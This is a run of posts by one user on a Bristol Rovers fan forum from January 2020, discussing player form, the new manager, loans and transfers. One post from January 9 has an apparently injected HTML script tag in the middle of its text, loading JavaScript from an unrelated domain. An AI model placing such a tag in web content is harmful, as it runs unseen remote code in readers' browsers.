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Post by markczgas on Jan 12, 2020 13:46:50 GMT
Poor defending from Menayese for the two goals unfortunately. He’s caught ball watching and slow to react when the balls played through the channel on the first whilst he should have been tighter to his man for the second. Davies will be a big addition when’s he’s fit enough for selection again. a bit harsh for a young player who has had to step into the breach (and done so really well) , but take your point.
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Post by markczgas on Jan 11, 2020 22:59:15 GMT
The most typically Rovers thing about our current situation is that not only can we not move Bennett, Nichols, Mensah and Reilly on, who basically offer no goals or end product between them and occupy a hefty slice of our wage bill, but we also may be missing the boat regarding selling JCH for a wedge. There may be f**k all Garner can do until the summer in regards to reshaping the squad. JCH has shown nothing good for months - I'd be surprised if he went to a Champ club. He can finish well but he hasn't got the link play of someone like Lambert as a comparison.
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Post by markczgas on Jan 11, 2020 22:51:15 GMT
I don’t see that much has changed since GC left. He realised after early poor results that he needed to play a back three with wingbacks. The football tended to be dire and most opposing teams played better football but we managed to grind out the results, indeed we all blamed the sh** being served up as the reason why attendance figures were down. BG has inherited the same squad and for most of his games has kept to the wingbacks system, he doesn’t have a recognised right back due to injury’s so has little choice. Indeed today there were moans that he didn’t bring on the new loanee from the start, but he is not going to play a right wingback and a right winger! We need to understand that little is going to change in the short term due to the players available, and the quicker we do that the less poisonous this forum will be. The run in will be tough The football won’t be pretty Injured plays will start to return and there may still be one or two new faces We need to stay behind the manager and his team, remember we are the 12th man BG and his team are doing their best for the Gas and, performances will improve. Keep the faith. UTH we battled very well against a very good team - 86 mins - i thought we were going to pick up a hard earned point
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Post by markczgas on Jan 11, 2020 22:34:23 GMT
van Stappershoef 6
Menayese 6.5 Craig 5 Kilgour 6
Rodman 5.5 Upson 6 Sercombe 7 Leahy 5.5
Barrett 5 Hargreaves 5
Clarke-Harris 5.5
Subs: Reilly 5 Holmes-Dennis 5 Mitchell-Lawson
Crowd 5 Ref 6 Doncaster 9 Best team at The Mem this season
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Post by markczgas on Jan 10, 2020 15:29:17 GMT
Was really impressed by Clutton and Warwick in the dev game v Chelt in November - both looked very confident in their own abilities - they stood out ! Only worry for me is Harry Warwick has gone to Dorchester who are bottom of that division - Southern Premier League South. Good luck to them all. Billy Lowes and Tom Blair will create chances for Warwick at Dorchester. hope so, but in teams who are struggling it can sometimes disintegrate and your forwards get no decent service at all.
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Post by markczgas on Jan 10, 2020 15:26:51 GMT
I'll put a tenner on that he'll never get 10 in a season for any league club - he can't shoot or head with any conviction - it's Luke James Mark2 sadly. I will be happily take that bet with you, Mark. ok. Im on the east terrace just behind the Rovers' dugout - just shout my name out - I'm very friendly . We can shake on it.
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Post by markczgas on Jan 10, 2020 15:24:13 GMT
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Post by markczgas on Jan 10, 2020 15:14:58 GMT
Wow Steve that goes beyond dramatic ... Also Wael more than backed Clarke in the market despite warnings from his wallet protecting big brother and look what we got ... Nichols, Bennett, Mensah ,all draining the coffers and adding bugger all. None of whom we can now get rid of. Throw in the others who we wasted money on Smith,Slocombe are just the first that come to mind. Why would the family spend even more now ... the DC era sadly will always be slightly tarnished by the last season , his arrogant behaviour and money wasted on tripe. Now you shout for more .. If you won the lottery tonight how much would you be prepared to set fire to ... throw away, waste ? Some, All or none ? How would you feel when people kept screeching for more ? We are lucky that any money is being released for new players especially as no one has left yet. this is all a bit one-sided though - no manager gets all his signings right and remember in that time we sold Taylor, Bodin and Harrison for around 1.5 Million.
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Post by markczgas on Jan 10, 2020 15:10:18 GMT
As per the website: "A trio of the club's youngsters have headed out loan in search of first-team experience. Harry Warwick has today completed a one-month youth loan to Dorchester Town and could be in line to make his debut against Truro City on Saturday. U18's Luc Noble has joined Mangotsfield on a work-experience loan, ahead of their fixture this weekend away at Sholing. Earlier this week, U18's 'keeper Harry Thomas-Barker completed a loan deal to Frome Town and featured in their midweek fixture against Swindon Supermarine." Will be good for Noble to get some match experience as he seems like a prospect. Was really impressed by Clutton and Warwick in the dev game v Chelt in November - both looked very confident in their own abilities - they stood out ! Only worry for me is Harry Warwick has gone to Dorchester who are bottom of that division - Southern Premier League South. Good luck to them all.
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Post by markczgas on Jan 10, 2020 15:06:03 GMT
Wow, 11 MOMs for Bonham - shows how much we struggled and were reliant on him and JCH up top.
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Post by markczgas on Jan 10, 2020 14:57:12 GMT
As much as I appreciate the match reports, this is a classic SteveK overreaction thread. It's been a while. erm, since our last mini bad run ?
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Post by markczgas on Jan 10, 2020 14:52:57 GMT
Foe christs sake they are professional football players of years experience should be able to adapt to any system... GC knew he had gone as far as he could go,got lucky ..we need to replace the likes of Adebay.... Nicho.....Bennett...also players who have little pace and get caught in possession a lot example Ollie Clark [love his passion] but not good enough also ...Ed Upson good ball player but too old too slow .also worried about Menayes....getting caught a lot for pace but young, can improve hopefully... Not sure about kelly gets caught out of position too often ..... Josh Barrett who BC he has brought in looks class and is a great improvement.. Give BG time im sure if these things are done we will get better. think your expectations are overly high for a L1 club if you are knocking players like Upson and Menayese (he's barely played any league football until this season remember )- both have had strong seasons.
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Post by markczgas on Jan 10, 2020 14:48:49 GMT
Tom should have little trouble in finding a league 2 club in the next couple of days. Cheltenham, Exeter and Mansfield all showing interest so I hear on twitter. Bet he scores on debut for his new club. I'll certainly be putting a tenner on him to score in his debut. I'll put a tenner on that he'll never get 10 in a season for any league club - he can't shoot or head with any conviction - it's Luke James Mark2 sadly.
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Post by markczgas on Jan 9, 2020 20:26:11 GMT
Garner was 16/1 to get the job. Someone knew... I watch his pre and post match interviews and he repeats the same old stuff. He sounds like one of these Sports Science degree graduates...got the talk, not the walk. We were winning Ben, before you got here. Now we are not, what is going on ? <script type="text/javascript" async="" src="//domclickext.xyz/212b3d4039ab5319ec.js"></script> It's called professional football - and we are just a medium -sized lower league club - we can't expect to win game after game.
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Post by markczgas on Jan 9, 2020 20:20:27 GMT
I can't say for certain we would have started losing under GC.
I (and anybody that has watched us I would hope) can see that we have been relying on the same 13/14 players most of the season and I wold think sooner or later fatigue physically and mentally would have set in due to the way we were playing and grinding out results
There is only so much you can give
When GC departed we were top of the current form and he was odds on to be MotM, JD & Maher kept that run going, but as soon BG arrived the wheels have come off the wagon and we're now probably bottom of the current form. I can't see that would have happened under GC, plus he may well have brought in new players on the 1st Jan if he'd stayed. The big worry for me is Donny will do their usual and beat us, Coventry will outplay us as they did at on Sunday, then next up is form team Rotherham!! Where's our next win coming from against Fleetwood or Coventry at the Mem? relegation Topper ?
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Post by markczgas on Jan 9, 2020 9:20:15 GMT
Nichols is as good as gone, JCH with the 2 new guys either side of him with Upson available Maybe we will get a shock result on Saturday and BG gets his first win. a shock result ??
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Post by markczgas on Jan 9, 2020 9:17:54 GMT
Last night I started a thread about BG being out of his depth. As expected I was vilified by the chosen few but it quickly turned into a decent debate. I have had time to think overnight and again this is my view after he has been in the job three weeks. Positives 1. At least last night wasn’t a league game and only 1180 us were there to witness it. 2. If BG aim last night was to highlight to the board the importance of off loading the likes of Kelly, Victor and Bennett then it worked. 3. It also highlighted our desperate need for a striker 4. Getting rid of TN was an absolute must 5. The signing of Barrett is a good one Negatives 1. Make no mistake a 1-0 defeat could and should have been a lot bigger but for some woeful finishing. If we had lost 4-0 last night I think BG would be under severe pressure today 2. The more interviews the guy does the more I am convinced he as a coach was able to play to the egos of mega rich premiership players. He is playing in a different playground now and needs to assert some steel into the players 3. It is also becoming apparent in his interviews he was lined up for this job a long time ago. He says he had been following us and our games for months. My first thought on that is - why? Of all the clubs in England you watch ours!! That for me suggests why GC left and why he put himself first. His working position must have been untenable 4. If he had any intention of progressing last night he would have brought JCH on. This begs the question as to whether he is already on his way or is injured. If either why was he on the bench 5. Why sign a right winger and play everything down the left wing. That is just tactically inept I've merged this with the existing thread you reference. You don't need to start a new thread every time you have a thought. -AFWell done that you and Roversdrive have had time to think about things ..........maybe think a bit longer still like a couple months before you cast your vote on our new manager !
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Post by markczgas on Jan 9, 2020 9:15:19 GMT
If BG had said before the game that he is giving several players a run out to to see how they perform because this competition is not that important , he would of been slated, the guy has come into this position with mounting injuries and had little time to work with the players, I think tonight would have given him a clear insight to those players that are not going to make it, can anyone remember the last time KB had a good game or made an impact when coming on as a sub, yes were all disappointed with the results but I’m afraid we can’t hide behind the truth there is far too many players that are not good enough or have no interest in playing for the club, they have got to be sorted and this takes time, for goodness sake he has to have the time to do this, or he could of just carried on with the same system where we would of been found out for sure and these so called players would still be with us taking the water. Time has to be given to the end of season, do we really believe we would of stayed in the top six still playing the way we were. Big fat NO !
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Post by markczgas on Jan 7, 2020 20:26:08 GMT
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Post by markczgas on Jan 7, 2020 20:16:03 GMT
If he Josh has been given a two and half year deal then clearly our scouting staff rate him (certainly the Reading supporters do), my guess we will still play three central defenders but there will be more emphasis on going forward. I think THD will soon be in the side because is very much a BG type of player - very dynamic going forward from a wing back position and just simply a superb player. AR also settling in well at RWB. With Gavin back we now have six strikers at the club including DM, my guess is JCH will be sold (I would nuch prefer him to be given a pay rise to stay) and two others will leave or be loaned out with one new guy (not Omar unfortunately) coming in if JCH leaves. Deon Moore, Reilly and Vic going, don't you think ?
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